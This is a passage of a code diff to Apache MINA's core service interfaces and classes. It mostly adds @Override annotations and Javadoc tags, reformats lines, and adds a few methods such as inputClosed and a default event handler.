@@ public final int getManagedSessionCount() { /** * {@inheritDoc} */ + @Override public final IoHandler getHandler() { return handler; } @@ -348,14 +389,14 @@ public final IoHandler getHandler() { /** * {@inheritDoc} */ + @Override public final void setHandler(IoHandler handler) { if (handler == null) { throw new IllegalArgumentException("handler cannot be null"); } if (isActive()) { - throw new IllegalStateException( - "handler cannot be set while the service is active."); + throw new IllegalStateException("handler cannot be set while the service is active."); } this.handler = handler; @@ -364,13 +405,7 @@ public final void setHandler(IoHandler handler) { /** * {@inheritDoc} */ - public IoSessionConfig getSessionConfig() { - return sessionConfig; - } - - /** - * {@inheritDoc} - */ + @Override public final IoSessionDataStructureFactory getSessionDataStructureFactory() { return sessionDataStructureFactory; } @@ -378,15 +413,14 @@ public final IoSessionDataStructureFactory getSessionDataStructureFactory() { /** * {@inheritDoc} */ - public final void setSessionDataStructureFactory( - IoSessionDataStructureFactory sessionDataStructureFactory) { + @Override + public final void setSessionDataStructureFactory(IoSessionDataStructureFactory sessionDataStructureFactory) { if (sessionDataStructureFactory == null) { throw new IllegalArgumentException("sessionDataStructureFactory"); } if (isActive()) { - throw new IllegalStateException( - "sessionDataStructureFactory cannot be set while the service is active."); + throw new IllegalStateException("sessionDataStructureFactory cannot be set while the service is active."); } this.sessionDataStructureFactory = sessionDataStructureFactory; @@ -395,6 +429,7 @@ public final void setSessionDataStructureFactory( /** * {@inheritDoc} */ + @Override public IoServiceStatistics getStatistics() { return stats; } @@ -402,6 +437,7 @@ public IoServiceStatistics getStatistics() { /** * {@inheritDoc} */ + @Override public final long getActivationTime() { return listeners.getActivationTime(); } @@ -409,12 +445,12 @@ public final long getActivationTime() { /** * {@inheritDoc} */ + @Override public final Set broadcast(Object message) { // Convert to Set. We do not return a List here because only the // direct caller of MessageBroadcaster knows the order of write // operations. - final List futures = IoUtil.broadcast(message, - getManagedSessions().values()); + final List futures = IoUtil.broadcast(message, getManagedSessions().values()); return new AbstractSet() { @Override public Iterator iterator() { @@ -428,11 +464,13 @@ public int size() { }; } + /** + * @return The {@link IoServiceListenerSupport} attached to this service + */ public final IoServiceListenerSupport getListeners() { return listeners; } - protected final void executeWorker(Runnable worker) { executeWorker(worker, null); } @@ -445,15 +483,12 @@ protected final void executeWorker(Runnable worker, String suffix) { executor.execute(new NamePreservingRunnable(worker, actualThreadName)); } - // TODO Figure out make it work without causing a compiler error / warning. - @SuppressWarnings("unchecked") - protected final void initSession(IoSession session, - IoFuture future, IoSessionInitializer sessionInitializer) { + protected final void initSession(IoSession session, IoFuture future, IoSessionInitializer sessionInitializer) { // Update lastIoTime if needed. if (stats.getLastReadTime() == 0) { stats.setLastReadTime(getActivationTime()); } - + if (stats.getLastWriteTime() == 0) { stats.setLastWriteTime(getActivationTime()); } @@ -463,30 +498,26 @@ protected final void initSession(IoSession session, // the attributeMap at last is to make sure all session properties // such as remoteAddress are provided to IoSessionDataStructureFactory. try { - ((AbstractIoSession) session).setAttributeMap(session.getService() - .getSessionDataStructureFactory().getAttributeMap(session)); + ((AbstractIoSession) session).setAttributeMap(session.getService().getSessionDataStructureFactory() + .getAttributeMap(session)); } catch (IoSessionInitializationException e) { throw e; } catch (Exception e) { - throw new IoSessionInitializationException( - "Failed to initialize an attributeMap.", e); + throw new IoSessionInitializationException("Failed to initialize an attributeMap.", e); } try { - ((AbstractIoSession) session).setWriteRequestQueue(session - .getService().getSessionDataStructureFactory() + ((AbstractIoSession) session).setWriteRequestQueue(session.getService().getSessionDataStructureFactory() .getWriteRequestQueue(session)); } catch (IoSessionInitializationException e) { throw e; } catch (Exception e) { - throw new IoSessionInitializationException( - "Failed to initialize a writeRequestQueue.", e); + throw new IoSessionInitializationException("Failed to initialize a writeRequestQueue.", e); } if ((future != null) && (future instanceof ConnectFuture)) { // DefaultIoFilterChain will notify the future. (We support ConnectFuture only for now). - session.setAttribute(DefaultIoFilterChain.SESSION_CREATED_FUTURE, - future); + session.setAttribute(DefaultIoFilterChain.SESSION_CREATED_FUTURE, future); } if (sessionInitializer != null) { @@ -501,17 +532,28 @@ protected final void initSession(IoSession session, * initialization. Do not call this method directly; * {@link #initSession(IoSession, IoFuture, IoSessionInitializer)} will call * this method instead. + * + * @param session The session to initialize + * @param future The Future to use + * */ - protected void finishSessionInitialization0(IoSession session, - IoFuture future) { - // Do nothing. Extended class might add some specific code + protected void finishSessionInitialization0(IoSession session, IoFuture future) { + // Do nothing. Extended class might add some specific code } + /** + * A {@link IoFuture} dedicated class for + * + */ protected static class ServiceOperationFuture extends DefaultIoFuture { public ServiceOperationFuture() { super(null); } + /** + * {@inheritDoc} + */ + @Override public final boolean isDone() { return getValue() == Boolean.TRUE; } @@ -524,7 +566,7 @@ public final Exception getException() { if (getValue() instanceof Exception) { return (Exception) getValue(); } - + return null; } @@ -532,6 +574,7 @@ public final void setException(Exception exception) { if (exception == null) { throw new IllegalArgumentException("exception"); } + setValue(exception); } } @@ -539,6 +582,7 @@ public final void setException(Exception exception) { /** * {@inheritDoc} */ + @Override public int getScheduledWriteBytes() { return stats.getScheduledWriteBytes(); } @@ -546,8 +590,8 @@ public int getScheduledWriteBytes() { /** * {@inheritDoc} */ + @Override public int getScheduledWriteMessages() { return stats.getScheduledWriteMessages(); } - } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/DefaultTransportMetadata.java b/mina-core/src/main/java/org/apache/mina/core/service/DefaultTransportMetadata.java index e153a628cb..58b08e719e 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/DefaultTransportMetadata.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/DefaultTransportMetadata.java @@ -26,7 +26,6 @@ import org.apache.mina.core.session.IoSessionConfig; import org.apache.mina.util.IdentityHashSet; - /** * A default immutable implementation of {@link TransportMetadata}. * @@ -35,38 +34,55 @@ public class DefaultTransportMetadata implements TransportMetadata { private final String providerName; + private final String name; + private final boolean connectionless; + + /** The flag indicating that the transport support fragmentation or not */ private final boolean fragmentation; + private final Class addressType; + private final Class sessionConfigType; + private final Set> envelopeTypes; - public DefaultTransportMetadata( - String providerName, - String name, - boolean connectionless, - boolean fragmentation, - Class addressType, - Class sessionConfigType, + /** + * Creates a new DefaultTransportMetadata instance + * + * @param providerName The provider name + * @param name The name + * @param connectionless If the transport is UDP + * @param fragmentation If fragmentation is supported + * @param addressType The address type (IP V4 or IPV6) + * @param sessionConfigType The session configuration type + * @param envelopeTypes The types of supported messages + */ + public DefaultTransportMetadata(String providerName, String name, boolean connectionless, boolean fragmentation, + Class addressType, Class sessionConfigType, Class... envelopeTypes) { if (providerName == null) { throw new IllegalArgumentException("providerName"); + } else { + this.providerName = providerName.trim().toLowerCase(); + + if (this.providerName.length() == 0) { + throw new IllegalArgumentException("providerName is empty."); + } } + if (name == null) { throw new IllegalArgumentException("name"); + } else { + this.name = name.trim().toLowerCase(); + + if (this.name.length() == 0) { + throw new IllegalArgumentException("name is empty."); + } } - providerName = providerName.trim().toLowerCase(); - if (providerName.length() == 0) { - throw new IllegalArgumentException("providerName is empty."); - } - name = name.trim().toLowerCase(); - if (name.length() == 0) { - throw new IllegalArgumentException("name is empty."); - } - if (addressType == null) { throw new IllegalArgumentException("addressType"); } @@ -83,45 +99,70 @@ public DefaultTransportMetadata( throw new IllegalArgumentException("sessionConfigType"); } - this.providerName = providerName; - this.name = name; this.connectionless = connectionless; this.fragmentation = fragmentation; this.addressType = addressType; this.sessionConfigType = sessionConfigType; - Set> newEnvelopeTypes = - new IdentityHashSet>(); - for (Class c: envelopeTypes) { + Set> newEnvelopeTypes = new IdentityHashSet<>(); + for (Class c : envelopeTypes) { newEnvelopeTypes.add(c); } this.envelopeTypes = Collections.unmodifiableSet(newEnvelopeTypes); } + /** + * {@inheritDoc} + */ + @Override public Class getAddressType() { return addressType; } + /** + * {@inheritDoc} + */ + @Override public Set> getEnvelopeTypes() { return envelopeTypes; } + /** + * {@inheritDoc} + */ + @Override public Class getSessionConfigType() { return sessionConfigType; } + /** + * {@inheritDoc} + */ + @Override public String getProviderName() { return providerName; } + /** + * {@inheritDoc} + */ + @Override public String getName() { return name; } + /** + * {@inheritDoc} + */ + @Override public boolean isConnectionless() { return connectionless; } + /** + * {@inheritDoc} + */ + @Override public boolean hasFragmentation() { return fragmentation; } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoAcceptor.java b/mina-core/src/main/java/org/apache/mina/core/service/IoAcceptor.java index 3fadce9a7b..45407782e6 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoAcceptor.java @@ -48,11 +48,15 @@ public interface IoAcceptor extends IoService { * Returns the local address which is bound currently. If more than one * address are bound, only one of them will be returned, but it's not * necessarily the firstly bound address. + * + * @return The bound LocalAddress */ SocketAddress getLocalAddress(); - + /** * Returns a {@link Set} of the local addresses which are bound currently. + * + * @return The Set of bound LocalAddresses */ Set getLocalAddresses(); @@ -63,13 +67,16 @@ public interface IoAcceptor extends IoService { * set, only one of them will be returned, but it's not necessarily the * firstly specified address in {@link #setDefaultLocalAddresses(List)}. * + * @return The default bound LocalAddress */ SocketAddress getDefaultLocalAddress(); - + /** * Returns a {@link List} of the default local addresses to bind when no * argument is specified in {@link #bind()} method. Please note that the * default will not be used if any local address is specified. + * + * @return The list of default bound LocalAddresses */ List getDefaultLocalAddresses(); @@ -77,20 +84,26 @@ public interface IoAcceptor extends IoService { * Sets the default local address to bind when no argument is specified in * {@link #bind()} method. Please note that the default will not be used * if any local address is specified. + * + * @param localAddress The local addresses to bind the acceptor on */ void setDefaultLocalAddress(SocketAddress localAddress); - + /** * Sets the default local addresses to bind when no argument is specified * in {@link #bind()} method. Please note that the default will not be * used if any local address is specified. + * @param firstLocalAddress The first local address to bind the acceptor on + * @param otherLocalAddresses The other local addresses to bind the acceptor on */ void setDefaultLocalAddresses(SocketAddress firstLocalAddress, SocketAddress... otherLocalAddresses); - + /** * Sets the default local addresses to bind when no argument is specified * in {@link #bind()} method. Please note that the default will not be * used if any local address is specified. + * + * @param localAddresses The local addresses to bind the acceptor on */ void setDefaultLocalAddresses(Iterable localAddresses); @@ -98,20 +111,26 @@ public interface IoAcceptor extends IoService { * Sets the default local addresses to bind when no argument is specified * in {@link #bind()} method. Please note that the default will not be * used if any local address is specified. + * + * @param localAddresses The local addresses to bind the acceptor on */ void setDefaultLocalAddresses(List localAddresses); - /** - * Returns true if and only if all clients are closed when this + /** + * Returns true if and only if all clients are closed when this * acceptor unbinds from all the related local address (i.e. when the * service is deactivated). + * + * @return true if the service sets the closeOnDeactivation flag */ boolean isCloseOnDeactivation(); /** * Sets whether all client sessions are closed when this acceptor unbinds * from all the related local addresses (i.e. when the service is - * deactivated). The default value is true. + * deactivated). The default value is true. + * + * @param closeOnDeactivation true if we should close on deactivation */ void setCloseOnDeactivation(boolean closeOnDeactivation); @@ -122,80 +141,106 @@ public interface IoAcceptor extends IoService { * @throws IOException if failed to bind */ void bind() throws IOException; - + /** * Binds to the specified local address and start to accept incoming * connections. * + * @param localAddress The SocketAddress to bind to + * * @throws IOException if failed to bind */ void bind(SocketAddress localAddress) throws IOException; - + /** * Binds to the specified local addresses and start to accept incoming * connections. If no address is given, bind on the default local address. - * + * + * @param firstLocalAddress The first address to bind to + * @param addresses The SocketAddresses to bind to + * * @throws IOException if failed to bind */ void bind(SocketAddress firstLocalAddress, SocketAddress... addresses) throws IOException; - + + /** + * Binds to the specified local addresses and start to accept incoming + * connections. If no address is given, bind on the default local address. + * + * @param addresses The SocketAddresses to bind to + * + * @throws IOException if failed to bind + */ + void bind(SocketAddress... addresses) throws IOException; + /** * Binds to the specified local addresses and start to accept incoming * connections. * + * @param localAddresses The local address we will be bound to * @throws IOException if failed to bind */ void bind(Iterable localAddresses) throws IOException; - + /** * Unbinds from all local addresses that this service is bound to and stops * to accept incoming connections. All managed connections will be closed * if {@link #setCloseOnDeactivation(boolean) disconnectOnUnbind} property - * is true. This method returns silently if no local address is + * is true. This method returns silently if no local address is * bound yet. */ void unbind(); - + /** * Unbinds from the specified local address and stop to accept incoming * connections. All managed connections will be closed if * {@link #setCloseOnDeactivation(boolean) disconnectOnUnbind} property is - * true. This method returns silently if the default local + * true. This method returns silently if the default local * address is not bound yet. + * + * @param localAddress The local address we will be unbound from */ void unbind(SocketAddress localAddress); - + /** * Unbinds from the specified local addresses and stop to accept incoming * connections. All managed connections will be closed if * {@link #setCloseOnDeactivation(boolean) disconnectOnUnbind} property is - * true. This method returns silently if the default local + * true. This method returns silently if the default local * addresses are not bound yet. + * + * @param firstLocalAddress The first local address to be unbound from + * @param otherLocalAddresses The other local address to be unbound from */ void unbind(SocketAddress firstLocalAddress, SocketAddress... otherLocalAddresses); - + /** * Unbinds from the specified local addresses and stop to accept incoming * connections. All managed connections will be closed if * {@link #setCloseOnDeactivation(boolean) disconnectOnUnbind} property is - * true. This method returns silently if the default local + * true. This method returns silently if the default local * addresses are not bound yet. + * + * @param localAddresses The local address we will be unbound from */ void unbind(Iterable localAddresses); - + /** * (Optional) Returns an {@link IoSession} that is bound to the specified - * localAddress and the specified remoteAddress which + * localAddress and the specified remoteAddress which * reuses the local address that is already bound by this service. *

* This operation is optional. Please throw {@link UnsupportedOperationException} * if the transport type doesn't support this operation. This operation is * usually implemented for connectionless transport types. * + * @param remoteAddress The remote address bound to the service + * @param localAddress The local address the session will be bound to * @throws UnsupportedOperationException if this operation is not supported * @throws IllegalStateException if this service is not running. * @throws IllegalArgumentException if this service is not bound to the - * specified localAddress. + * specified localAddress. + * @return The session bound to the the given localAddress and remote address */ IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress); } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoConnector.java b/mina-core/src/main/java/org/apache/mina/core/service/IoConnector.java index 89f3c9f5e0..c6a2fdcdce 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoConnector.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoConnector.java @@ -45,15 +45,15 @@ */ public interface IoConnector extends IoService { /** - * Returns the connect timeout in seconds. The default value is 1 minute. + * @return the connect timeout in seconds. The default value is 1 minute. * * @deprecated - * @see getConnectTimeoutMillis() */ + @Deprecated int getConnectTimeout(); /** - * Returns the connect timeout in milliseconds. The default value is 1 minute. + * @return the connect timeout in milliseconds. The default value is 1 minute. */ long getConnectTimeoutMillis(); @@ -61,34 +61,55 @@ public interface IoConnector extends IoService { * Sets the connect timeout in seconds. The default value is 1 minute. * * @deprecated - * @see setConnectTimeoutMillis() + * @param connectTimeout The time out for the connection */ + @Deprecated void setConnectTimeout(int connectTimeout); - + /** * Sets the connect timeout in milliseconds. The default value is 1 minute. + * + * @param connectTimeoutInMillis The time out for the connection */ void setConnectTimeoutMillis(long connectTimeoutInMillis); /** - * Returns the default remote address to connect to when no argument + * @return the default remote address to connect to when no argument * is specified in {@link #connect()} method. */ SocketAddress getDefaultRemoteAddress(); - + /** * Sets the default remote address to connect to when no argument is * specified in {@link #connect()} method. + * + * @param defaultRemoteAddress The default remote address */ void setDefaultRemoteAddress(SocketAddress defaultRemoteAddress); /** - * Connects to the {@link #setDefaultRemoteAddress(SocketAddress) default remote address}. + * @return the default local address + */ + SocketAddress getDefaultLocalAddress(); + + /** + * Sets the default local address + * + * @param defaultLocalAddress The default local address + */ + void setDefaultLocalAddress(SocketAddress defaultLocalAddress); + + /** + * Connects to the {@link #setDefaultRemoteAddress(SocketAddress) default + * remote address}. * - * @throws IllegalStateException if no default remoted address is set. + * @return the {@link ConnectFuture} instance which is completed when the + * connection attempt initiated by this call succeeds or fails. + * @throws IllegalStateException + * if no default remoted address is set. */ ConnectFuture connect(); - + /** * Connects to the {@link #setDefaultRemoteAddress(SocketAddress) default * remote address} and invokes the ioSessionInitializer when @@ -97,14 +118,17 @@ public interface IoConnector extends IoService { * will be invoked before this method returns. * * @param sessionInitializer the callback to invoke when the {@link IoSession} object is created + * @return the {@link ConnectFuture} instance which is completed when the + * connection attempt initiated by this call succeeds or fails. * * @throws IllegalStateException if no default remote address is set. */ ConnectFuture connect(IoSessionInitializer sessionInitializer); - + /** * Connects to the specified remote address. - * + * + * @param remoteAddress The remote address to connect to * @return the {@link ConnectFuture} instance which is completed when the * connection attempt initiated by this call succeeds or fails. */ @@ -128,11 +152,14 @@ public interface IoConnector extends IoService { /** * Connects to the specified remote address binding to the specified local address. * + * @param remoteAddress The remote address to connect + * @param localAddress The local address to bind + * * @return the {@link ConnectFuture} instance which is completed when the * connection attempt initiated by this call succeeds or fails. */ ConnectFuture connect(SocketAddress remoteAddress, SocketAddress localAddress); - + /** * Connects to the specified remote address binding to the specified local * address and and invokes the ioSessionInitializer when the @@ -147,6 +174,6 @@ public interface IoConnector extends IoService { * @return the {@link ConnectFuture} instance which is completed when the * connection attempt initiated by this call succeeds or fails. */ - ConnectFuture connect(SocketAddress remoteAddress, - SocketAddress localAddress, IoSessionInitializer sessionInitializer); + ConnectFuture connect(SocketAddress remoteAddress, SocketAddress localAddress, + IoSessionInitializer sessionInitializer); } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoHandler.java b/mina-core/src/main/java/org/apache/mina/core/service/IoHandler.java index 38bb6c41d7..e97acf0d9b 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoHandler.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoHandler.java @@ -23,6 +23,7 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; /** * Handles all I/O events fired by MINA. @@ -38,6 +39,9 @@ public interface IoHandler { * handles I/O of multiple sessions, please implement this method to perform * tasks that consumes minimal amount of time such as socket parameter * and user-defined session attribute initialization. + * + * @param session The session being created + * @throws Exception If we get an exception while processing the create event */ void sessionCreated(IoSession session) throws Exception; @@ -46,11 +50,17 @@ public interface IoHandler { * {@link #sessionCreated(IoSession)}. The biggest difference from * {@link #sessionCreated(IoSession)} is that it's invoked from other thread * than an I/O processor thread once thread model is configured properly. + * + * @param session The session being opened + * @throws Exception If we get an exception while processing the open event */ void sessionOpened(IoSession session) throws Exception; /** * Invoked when a connection is closed. + * + * @param session The session being closed + * @throws Exception If we get an exception while processing the close event */ void sessionClosed(IoSession session) throws Exception; @@ -58,6 +68,10 @@ public interface IoHandler { * Invoked with the related {@link IdleStatus} when a connection becomes idle. * This method is not invoked if the transport type is UDP; it's a known bug, * and will be fixed in 2.0. + * + * @param session The idling session + * @param status The session's status + * @throws Exception If we get an exception while processing the idle event */ void sessionIdle(IoSession session, IdleStatus status) throws Exception; @@ -65,17 +79,49 @@ public interface IoHandler { * Invoked when any exception is thrown by user {@link IoHandler} * implementation or by MINA. If cause is an instance of * {@link IOException}, MINA will close the connection automatically. + * + * @param session The session for which we have got an exception + * @param cause The exception that has been caught + * @throws Exception If we get an exception while processing the caught exception */ void exceptionCaught(IoSession session, Throwable cause) throws Exception; /** * Invoked when a message is received. + * + * @param session The session that is receiving a message + * @param message The received message + * @throws Exception If we get an exception while processing the received message */ void messageReceived(IoSession session, Object message) throws Exception; /** * Invoked when a message written by {@link IoSession#write(Object)} is * sent out. + * + * @param session The session that has sent a full message + * @param message The sent message + * @throws Exception If we get an exception while processing the sent message */ void messageSent(IoSession session, Object message) throws Exception; + + /** + * Handle the closure of an half-duplex TCP channel + * + * @param session The session which input is being closed + * @throws Exception If we get an exception while closing the input + */ + void inputClosed(IoSession session) throws Exception; + + /** + * Invoked when a filter event is fired. Each filter might sent a different event, + * this is very application specific. + * + * @param session The session for which we have an event to process + * @param event The event to process + * @throws Exception If we get an exception while processing the event + */ + default void event(IoSession session, FilterEvent event) throws Exception { + // Nothing + } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoHandlerAdapter.java b/mina-core/src/main/java/org/apache/mina/core/service/IoHandlerAdapter.java index dc7bc0b013..54cefaeda6 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoHandlerAdapter.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoHandlerAdapter.java @@ -21,12 +21,12 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; - /** - * An abstract adapter class for {@link IoHandler}. You can extend this + * An adapter class for {@link IoHandler}. You can extend this * class and selectively override required event handler methods only. All * methods do nothing by default. * @@ -35,38 +35,78 @@ public class IoHandlerAdapter implements IoHandler { private static final Logger LOGGER = LoggerFactory.getLogger(IoHandlerAdapter.class); + /** + * {@inheritDoc} + */ + @Override public void sessionCreated(IoSession session) throws Exception { // Empty handler } + /** + * {@inheritDoc} + */ + @Override public void sessionOpened(IoSession session) throws Exception { // Empty handler } + /** + * {@inheritDoc} + */ + @Override public void sessionClosed(IoSession session) throws Exception { // Empty handler } - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { // Empty handler } - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { if (LOGGER.isWarnEnabled()) { - LOGGER.warn("EXCEPTION, please implement " - + getClass().getName() + LOGGER.warn("EXCEPTION, please implement " + getClass().getName() + ".exceptionCaught() for proper handling:", cause); } } - public void messageReceived(IoSession session, Object message) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { // Empty handler } + /** + * {@inheritDoc} + */ + @Override public void messageSent(IoSession session, Object message) throws Exception { // Empty handler } + + /** + * {@inheritDoc} + */ + @Override + public void inputClosed(IoSession session) throws Exception { + session.closeNow(); + } + + /** + * {@inheritDoc} + */ + @Override + public void event(IoSession session, FilterEvent event) throws Exception { + // Empty handler + } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoProcessor.java b/mina-core/src/main/java/org/apache/mina/core/service/IoProcessor.java index fb483cd589..0a475b8f0c 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoProcessor.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoProcessor.java @@ -20,6 +20,7 @@ package org.apache.mina.core.service; import org.apache.mina.core.session.IoSession; +import org.apache.mina.core.write.WriteRequest; /** * An internal interface to represent an 'I/O processor' that performs @@ -29,23 +30,23 @@ * * @author Apache MINA Project * - * @param the type of the {@link IoSession} this processor can handle + * @param the type of the {@link IoSession} this processor can handle */ -public interface IoProcessor { +public interface IoProcessor { /** - * Returns true if and if only {@link #dispose()} method has - * been called. Please note that this method will return true + * @return true if and if only {@link #dispose()} method has + * been called. Please note that this method will return true * even after all the related resources are released. */ boolean isDisposing(); - + /** - * Returns true if and if only all resources of this processor + * @return true if and if only all resources of this processor * have been disposed. */ boolean isDisposed(); - + /** * Releases any resources allocated by this processor. Please note that * the resources might not be released as long as there are any sessions @@ -53,32 +54,48 @@ public interface IoProcessor { * immediately and release the related resources. */ void dispose(); - + /** * Adds the specified {@code session} to the I/O processor so that * the I/O processor starts to perform any I/O operations related * with the {@code session}. + * + * @param session The added session */ - void add(T session); + void add(S session); /** * Flushes the internal write request queue of the specified * {@code session}. + * + * @param session The session we want the message to be written + */ + void flush(S session); + + /** + * Writes the WriteRequest for the specified {@code session}. + * + * @param session The session we want the message to be written + * @param writeRequest the WriteRequest to write */ - void flush(T session); + void write(S session, WriteRequest writeRequest); /** * Controls the traffic of the specified {@code session} depending of the * {@link IoSession#isReadSuspended()} and {@link IoSession#isWriteSuspended()} * flags + * + * @param session The session to be updated */ - void updateTrafficControl(T session); + void updateTrafficControl(S session); /** * Removes and closes the specified {@code session} from the I/O * processor so that the I/O processor closes the connection * associated with the {@code session} and releases any other related * resources. + * + * @param session The session to be removed */ - void remove(T session); + void remove(S session); } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoService.java b/mina-core/src/main/java/org/apache/mina/core/service/IoService.java index 74c36117af..ea8aab7935 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoService.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoService.java @@ -19,6 +19,7 @@ */ package org.apache.mina.core.service; +import java.util.Collection; import java.util.Map; import java.util.Set; @@ -39,31 +40,35 @@ */ public interface IoService { /** - * Returns the {@link TransportMetadata} that this service runs on. + * @return the {@link TransportMetadata} that this service runs on. */ TransportMetadata getTransportMetadata(); /** * Adds an {@link IoServiceListener} that listens any events related with * this service. + * + * @param listener The listener to add */ void addListener(IoServiceListener listener); /** * Removed an existing {@link IoServiceListener} that listens any events * related with this service. + * + * @param listener The listener to use */ void removeListener(IoServiceListener listener); /** - * Returns true if and if only {@link #dispose()} method has - * been called. Please note that this method will return true + * @return true if and if only {@link #dispose()} method has + * been called. Please note that this method will return true * even after all the related resources are released. */ boolean isDisposing(); /** - * Returns true if and if only all resources of this processor + * @return true if and if only all resources of this processor * have been disposed. */ boolean isDisposed(); @@ -75,50 +80,50 @@ public interface IoService { */ void dispose(); - /** - * Releases any resources allocated by this service. Please note that - * this method might block as long as there are any sessions managed by this service. - * - * Warning : calling this method from a IoFutureListener with awaitTermination = true - * will probably lead to a deadlock. - * - * @param awaitTermination When true this method will block until the underlying ExecutorService is terminated - */ + /** + * Releases any resources allocated by this service. Please note that + * this method might block as long as there are any sessions managed by this service. + * + * Warning : calling this method from a IoFutureListener with awaitTermination = true + * will probably lead to a deadlock. + * + * @param awaitTermination When true this method will block until the underlying ExecutorService is terminated + */ void dispose(boolean awaitTermination); /** - * Returns the handler which will handle all connections managed by this service. + * @return the handler which will handle all connections managed by this service. */ IoHandler getHandler(); /** * Sets the handler which will handle all connections managed by this service. + * + * @param handler The IoHandler to use */ void setHandler(IoHandler handler); /** - * Returns the map of all sessions which are currently managed by this + * @return the map of all sessions which are currently managed by this * service. The key of map is the {@link IoSession#getId() ID} of the - * session. - * - * @return the sessions. An empty collection if there's no session. + * session. An empty collection if there's no session. */ Map getManagedSessions(); /** - * Returns the number of all sessions which are currently managed by this + * @return the number of all sessions which are currently managed by this * service. */ int getManagedSessionCount(); /** - * Returns the default configuration of the new {@link IoSession}s + * @return the default configuration of the new {@link IoSession}s * created by this service. */ IoSessionConfig getSessionConfig(); /** - * Returns the {@link IoFilterChainBuilder} which will build the + * @return the {@link IoFilterChainBuilder} which will build the * {@link IoFilterChain} of all {@link IoSession}s which is created * by this service. * The default value is an empty {@link DefaultIoFilterChainBuilder}. @@ -129,35 +134,34 @@ public interface IoService { * Sets the {@link IoFilterChainBuilder} which will build the * {@link IoFilterChain} of all {@link IoSession}s which is created * by this service. - * If you specify null this property will be set to + * If you specify null this property will be set to * an empty {@link DefaultIoFilterChainBuilder}. + * + * @param builder The filter chain builder to use */ void setFilterChainBuilder(IoFilterChainBuilder builder); /** - * A shortcut for ( ( DefaultIoFilterChainBuilder ) {@link #getFilterChainBuilder()} ). + * A shortcut for ( ( DefaultIoFilterChainBuilder ) {@link #getFilterChainBuilder()} ). * Please note that the returned object is not a real {@link IoFilterChain} * but a {@link DefaultIoFilterChainBuilder}. Modifying the returned builder * won't affect the existing {@link IoSession}s at all, because * {@link IoFilterChainBuilder}s affect only newly created {@link IoSession}s. * + * @return The filter chain in use * @throws IllegalStateException if the current {@link IoFilterChainBuilder} is * not a {@link DefaultIoFilterChainBuilder} */ DefaultIoFilterChainBuilder getFilterChain(); /** - * Returns a value of whether or not this service is active - * - * @return whether of not the service is active. + * @return a value of whether or not this service is active */ boolean isActive(); /** - * Returns the time when this service was activated. It returns the last + * @return the time when this service was activated. It returns the last * time when this service was activated if the service is not active now. - * - * @return The time by using {@link System#currentTimeMillis()} */ long getActivationTime(); @@ -165,11 +169,14 @@ public interface IoService { * Writes the specified {@code message} to all the {@link IoSession}s * managed by this service. This method is a convenience shortcut for * {@link IoUtil#broadcast(Object, Collection)}. + * + * @param message the message to broadcast + * @return The set of WriteFuture associated to the message being broadcasted */ Set broadcast(Object message); /** - * Returns the {@link IoSessionDataStructureFactory} that provides + * @return the {@link IoSessionDataStructureFactory} that provides * related data structures for a new session created by this service. */ IoSessionDataStructureFactory getSessionDataStructureFactory(); @@ -177,26 +184,22 @@ public interface IoService { /** * Sets the {@link IoSessionDataStructureFactory} that provides * related data structures for a new session created by this service. + * + * @param sessionDataStructureFactory The factory to use */ void setSessionDataStructureFactory(IoSessionDataStructureFactory sessionDataStructureFactory); /** - * Returns the number of bytes scheduled to be written - * * @return The number of bytes scheduled to be written */ int getScheduledWriteBytes(); /** - * Returns the number of messages scheduled to be written - * * @return The number of messages scheduled to be written */ int getScheduledWriteMessages(); /** - * Returns the IoServiceStatistics object for this service. - * * @return The statistics object for this service. */ IoServiceStatistics getStatistics(); diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListener.java b/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListener.java index e6a85b2a86..6c8020193c 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListener.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListener.java @@ -34,11 +34,16 @@ public interface IoServiceListener extends EventListener { * Invoked when a new service is activated by an {@link IoService}. * * @param service the {@link IoService} + * @throws Exception if an error occurred while the service is being activated */ void serviceActivated(IoService service) throws Exception; - + /** * Invoked when a service is idle. + * + * @param service the {@link IoService} + * @param idleStatus The idle status + * @throws Exception if an error occurred while the service is being idled */ void serviceIdle(IoService service, IdleStatus idleStatus) throws Exception; @@ -46,6 +51,7 @@ public interface IoServiceListener extends EventListener { * Invoked when a service is deactivated by an {@link IoService}. * * @param service the {@link IoService} + * @throws Exception if an error occurred while the service is being deactivated */ void serviceDeactivated(IoService service) throws 